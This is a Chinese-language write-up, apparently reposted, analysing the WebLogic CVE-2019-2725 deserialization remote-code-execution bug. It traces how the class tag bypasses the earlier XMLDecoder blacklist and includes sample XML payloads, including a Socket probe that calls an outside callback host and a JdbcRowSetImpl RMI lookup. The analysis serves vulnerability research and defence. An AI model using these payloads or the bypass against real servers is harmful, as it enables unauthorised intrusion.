怎么實現WebLogic RCE CVE-2019-2725漏洞分析

今天就跟大家聊聊有關怎么實現WebLogic RCE CVE-2019-2725漏洞分析，可能很多人都不太了解，為了讓大家更加了解，小編給大家總結了以下內容，希望大家根據這篇文章可以有所收獲。

2019年4月17日，CNVD 發布《關于Oracle WebLogic wls9-async組件存在反序列化遠程命令執行漏洞的安全公告》，公告指出部分版本WebLogic中默認包含的wls9_async_response包，為WebLogic Server提供異步通訊服務。由于該WAR包在反序列化處理輸入信息時存在缺陷，攻擊者可以發送精心構造的惡意 HTTP 請求，獲得目標服務器的權限，在未授權的情況下遠程執行命令。

2019年4月18日，開始應急。因為這個漏洞當時屬于0day，也沒有補丁可以參考，只能參考公告內容一步一步來看了。首先看到公告里提到的wls9_async_response.war包，看下web.xml里的url。

看到/AsyncResponseService，嘗試訪問一下，404。之后看到weblogic.xml和weblogic-webservices.xml

訪問下_async/AsyncResponseService

可以正常訪問，再結合公告中的漏洞處置建議，禁止 /_async/* 路徑的URL訪問，可以大概率猜測，漏洞入口在這里。

在weblogic-webservices.xml中有一個類，weblogic.wsee.async.AsyncResponseBean，跟進去這個類，發現在wseeclient.jar里面

而后我在這個類里面的方法下斷點，然后構造一個普通的SOAP消息，發送。

斷點沒有debug到。最后我把wsee/async所有類的所有方法都下了斷點，重新發送消息，成功在AsyncResponseHandler類中的handleRequest攔截到了。

繼續流程，String var2 = (String)var1.getProperty("weblogic.wsee.addressing.RelatesTo");這個步驟一直取不到值，導致流程結束。為了解決這個問題，翻了不少資料，最后找到一個類似的例子，可以使用<ads:RelatesTo>test</ads:RelatesTo>為weblogic.wsee.addressing.RelatesTo賦值。

<?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ads="http://www.w3.org/2005/08/addressing">
  <soapenv:Header><ads:Action>demo</ads:Action><ads:RelatesTo>test</ads:RelatesTo>
</soapenv:Header>
  <soapenv:Body></soapenv:Body>
</soapenv:Envelope>

之后流程就能夠繼續下去了，我一直以為漏洞的關鍵點在這里，因為這個wsee.async下面的幾個類中有readObject方法，我一直嘗試著通過AsyncResponseHandler跳到readObject方法，而后就卡在這里，后面的流程就不寫了，對這個漏洞來說是錯的，上面寫的這些猜測和流程都是正確的。

2019年4月19日，和我一起應急的師傅給我發了一張截圖。

看到這截圖里面的RelatesTo，我還以為之前的推測沒有錯，只是沒有構造好。

全局搜索UnitOfWorkChangeSet這個類，之后在這個類中下斷點。

根據截圖，構造一個類似的，然后發送

在這個類中debug到了。

看到了日思夜想的readObject，有了反序列的點，自然要找利用鏈了，目前 WebLogic 下面 commoncollections 相關的利用鏈已經是無法使用了，WebLoigc 依賴的common-collections版本已經升級了，先找個Jdk7u21測試一下，將生成的 payload 轉換成 byte，發送。

可以看到，成功地執行了命令。但是這個利用鏈限制太大了，基本沒啥用。我想起去年應急過的一個WebLogic 反序列漏洞，CVE-2018-3191，既然jdk7u21都不受黑名單限制，想來CVE-2018-3191也是一樣可以利用的。

猜測沒有錯誤，CVE-2018-3191也是能夠利用的，這個漏洞也終于有點"危害"了。和 pyn3rd 師傅討論一下有沒有其他利用鏈，仔細翻下黑名單，除了CVE-2018-3191，就只有新的jython利用鏈(CVE-2019-2645)了，由 Matthias Kaiser大佬提交的，但是目前這個還有沒有公開，所以這個利用鏈也沒法使用。

有了正確答案，就可以看下之前的猜測哪里出了問題。

回到AsyncResponseHandler類中的handleRequest，handleRequest的上一步，HandlerIterator類中的handleRequest方法

    public boolean handleRequest(MessageContext var1, int var2) {this.closureEnabled = false;this.status = 1;WlMessageContext var3 = WlMessageContext.narrow(var1);if (verboseHistory) {updateHandlerHistory("...REQUEST...", var3);}for(this.index = var2; this.index < this.handlers.size(); ++this.index) {Handler var4 = this.handlers.get(this.index);if (verbose) {Verbose.log("Processing " + var4.getClass().getSimpleName() + "...  ");}if (verboseHistory) {updateHandlerHistory(var4.getClass().getSimpleName(), var3);}HandlerStats var5 = this.handlers.getStats(this.index);try {var3.setProperty("weblogic.wsee.handler.index", new Integer(this.index));String var6;if (!var4.handleRequest(var3)) {if (verboseHistory) {var6 = var4.getClass().getSimpleName() + ".handleRequest=false";updateHandlerHistory(var6, var3);}if (var5 != null) {var5.reportRequestTermination();}return false;}

會遍歷this.handlers，然后調用每個handler的handleRequest去處理用戶傳入的SOAP Message。

可以看到，AsyncResponseHandler僅僅只是21個handler之中的一個，而weblogic.wsee.addressing.RelatesTo的賦值就是在ServerAddressingHandler中完成的，有興趣的可以去跟一下。這里面有一個非常重要的handler--WorkAreaServerHandler，看名字可能覺得眼熟，看到里面的handleRequest方法可能就不淡定了。

之后的流程就和CVE-2017-10271是一樣的了，關于這個漏洞的分析可以參考廖師傅的文章。

跟到這里就可以看出來了，這個url只是CVE-2017-10271漏洞的另外一個入口而已。這也是后期導致假PoC泛濫的一個原因。整個流程大概如下：

那么問題來了，這個PoC是如何繞過CVE-2017-10271的黑名單的呢？

首先來看一下CVE-2017-10271的補丁，會將傳入的數據先調用validate校驗，通過之后才交給XMLDecoder。

public WorkContextXmlInputAdapter(InputStream var1) {ByteArrayOutputStream var2 = new ByteArrayOutputStream();try {boolean var3 = false;for(int var5 = var1.read(); var5 != -1; var5 = var1.read()) {var2.write(var5);}} catch (Exception var4) {throw new IllegalStateException("Failed to get data from input stream", var4);}this.validate(new ByteArrayInputStream(var2.toByteArray()));this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(var2.toByteArray()));}private void validate(InputStream var1) {WebLogicSAXParserFactory var2 = new WebLogicSAXParserFactory();try {SAXParser var3 = var2.newSAXParser();var3.parse(var1, new DefaultHandler() {private int overallarraylength = 0;public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {if (var3.equalsIgnoreCase("object")) {throw new IllegalStateException("Invalid element qName:object");} else if (var3.equalsIgnoreCase("new")) {throw new IllegalStateException("Invalid element qName:new");} else if (var3.equalsIgnoreCase("method")) {throw new IllegalStateException("Invalid element qName:method");} else {if (var3.equalsIgnoreCase("void")) {for(int var5 = 0; var5 < var4.getLength(); ++var5) {if (!"index".equalsIgnoreCase(var4.getQName(var5))) {throw new IllegalStateException("Invalid attribute for element void:" + var4.getQName(var5));}}}if (var3.equalsIgnoreCase("array")) {String var9 = var4.getValue("class");if (var9 != null && !var9.equalsIgnoreCase("byte")) {throw new IllegalStateException("The value of class attribute is not valid for array element.");}String var6 = var4.getValue("length");if (var6 != null) {try {int var7 = Integer.valueOf(var6);if (var7 >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {throw new IllegalStateException("Exceed array length limitation");}this.overallarraylength += var7;if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {throw new IllegalStateException("Exceed over all array limitation.");}} catch (NumberFormatException var8) {;}

可以看到，object，new，method這些標簽都被攔截了，遇到直接拋出錯誤。void標簽后面只能跟index，array標簽后面可以跟class屬性，但是類型只能是byte類型的。其中，過濾object標簽是CVE-2017-3506的補丁，剩下的過濾是針對CVE-2017-10271的補丁。

如果仔細看了黑名單的，就不難發現，外面流傳的很多PoC都是假的，就是新url入口+老的payload，這樣的組合是沒有辦法繞過這個黑名單的。

繞過這個黑名單的關鍵是class標簽，可以從官方的文檔來了解一下這個標簽。

class標簽可以表示一個類的實例，也就是說可以使用class標簽來創建任意類的實例。而class標簽又不在WebLogic 的黑名單之內，這才是這個漏洞最根本的原因。4月26日，Oracle 發布這個漏洞的補丁，過濾了class標簽也證實了這點。

既然漏洞的原因是繞過了CVE-2017-10271的黑名單，那么wls-wsat.war也是應該受影響的。

測試一下，沒有問題。

這說明，CNVD的公告寫的影響組件不全，漏洞處置建議也寫的不全面，要通過訪問策略控制禁止 /_async/* 及 /wls-wsat/* 路徑的URL訪問才行，之后我們也同步給了CNVD，CNVD發了第二次通告。

2019年4月21日，準備構造出這個漏洞的檢測PoC，能夠使用class標簽來創建類的實例，我首先考慮的是構造java.net.Socket，這也引出了一個JDK版本的坑。我測試的是jdk6，參考之前的PoC，可以這么構造

<java><class><string>java.net.Socket</string><void><string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string><int>80</int></void></class>
</java>

ceye成功接收到請求，也說明Socket實例創建成功了。

我把上面的檢測PoC在 jdk 7上測試，竟然失敗了，一直爆找不到java.net.Socket這個類錯誤，讓我一度以為這個漏洞只能在 jdk 6 下面觸發，后來仔細對比，發現是換行符的問題，也就是這樣寫才對。

<java><class><string>java.net.Socket</string><void><string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string><int>80</int></void></class></java>

不帶換行符的在6和7下面都能生成實例。其實這個問題在最早測試 CVE-2018-3191 payload的時候就已經發生過，pyn3rd師傅問我xml payload是怎么生成的，我說用的拼接，直接System.out.println輸出的，都帶了換行符，我因為當時跑weblogic的jdk是jdk6，所以沒有問題，但是 pyn3rd 師傅的環境是 jdk7 的，沒測試成功，只覺得是PoC寫法不同造成的問題，后來師傅自己解決了，這里也沒溝通，埋下了一個大坑，導致我后面踩進去了。

2019年4月22日，pyn3rd 師傅測試 WebLogic 12.1.3沒成功，發現是12的版本沒有oracle.toplink.internal.sessions.UnitOfWorkChangeSet這個類，所以沒辦法利用。嘗試著構造新的exp，目前的情況是，能夠創建類的實例，但是調用不了方法。自然想起com.sun.rowset.JdbcRowSetImpl這個類。

<java version="1.8.0_131" class="java.beans.XMLDecoder"><void class="com.sun.rowset.JdbcRowSetImpl"><void property="dataSourceName"><string>rmi://localhost:1099/Exploit</string></void><void property="autoCommit"><boolean>true</boolean></void></void>
</java>

這個是CVE-2017-10271的一種觸發方法。之前的黑名單提過，void標簽后面只能跟index，所以上面這個payload肯定會被黑名單攔截。嘗試使用class標簽重寫上面的payload。

構造的過程中，在跟底層代碼的時候，發現 jdk 6和 jdk 7處理標簽的方式不同。

jdk 6使用的是com.sun.beans.ObjectHandler

能用的有string，class，null，void，array，java，object和一些基本類型標簽(如int)。

jdk7 使用的是com.sun.beans.decoder.DocumentHandler

可以看到，和jdk6差異不小，例如，jdk 6不支持new，property等標簽。

我在用jdk 6 的標簽構造的時候，一直沒構造成功，直到我看到jdk 7 的源碼里面的property，這不就是我想要的么，而且這個標簽還不在 WebLogic 的黑名單內。所以重寫上面的payload如下

可以看到，沒有觸發黑名單，成功的執行了命令，而且沒有依賴 WebLogic 內部的包，10.3.6和12.1.3都可以通用。遺憾的是，這個payload的打不了 jdk 6的，因為 jdk 6 不支持 property標簽。期望有大佬能寫出6也能用的。

2019年4月23日，在CNVD發出通告，各大安全公司發出漏洞預警之后，之前提過的新url+老payload的這種模式的PoC和exp紛紛出爐。不僅是國內，國外也很熱鬧，很多人表示測試成功，但是都是在無補丁的情況下測試的。Oracle 官網下載的 WebLogic 都是沒有安裝補丁的，Oracle的補丁是單獨收費的，如果安裝了 CVE-2017-10271 的補丁，這些PoC和exp都是沒有辦法觸發的，繞過不了黑名單。

2019年4月26日，Oracle 官方發布緊急補丁，并為該漏洞分配編號CVE-2019-2725。

2019年4月27日，pyn3rd 師傅說12.1.3版本的exp也有人弄出來了，用的是org.slf4j.ext.EventData

    public EventData(String xml) {ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes());try {XMLDecoder decoder = new XMLDecoder(bais);this.eventData = (Map)decoder.readObject();} catch (Exception var4) {throw new EventException("Error decoding " + xml, var4);}}

看下這個類的構造方法，直接將傳入的xml交給XMLdecoder處理，太粗暴了...

相當于經過了兩次XMLdecode，所以外層用<class>繞過，內層直接標記為純文本，繞過第一次過濾，第二次 XMLdecode不經過WebLogic 黑名單，直接被JDK解析反序列化執行。

這種exp也是最完美的，沒有jdk版本限制，不需要外連，可惜的是只能打12.1.3版本。

2019年4月30日，在其他大佬手中看到了這個漏洞的其他利用方式，沒有 weblogic和 jdk的版本限制，比上面的幾種利用方式都更完善。這種利用方式我之前也看到過，就是Tenable 發的演示視頻，當時沒想明白，看了大佬的利用方式之后，才明白自己忽略了什么。構造方式可以參考CVE-2017-17485，我之前構造exp的時候也沒有往這方面想，這或許就是黑哥說的積累不夠吧。

針對這次漏洞，Oracle 也是打破了常規更新，在漏洞預警后不久就發布了補丁，仍然是使用黑名單的方式修復。

此次的漏洞事件中，也看到了安全圈的亂象，漏洞都沒有經過完全的驗證，就直接發錯誤的分析文章和假PoC，誤導大眾。

看完上述內容，你們對怎么實現WebLogic RCE CVE-2019-2725漏洞分析有進一步的了解嗎？如果還想了解更多知識或者相關內容，請關注億速云行業資訊頻道，感謝大家的支持。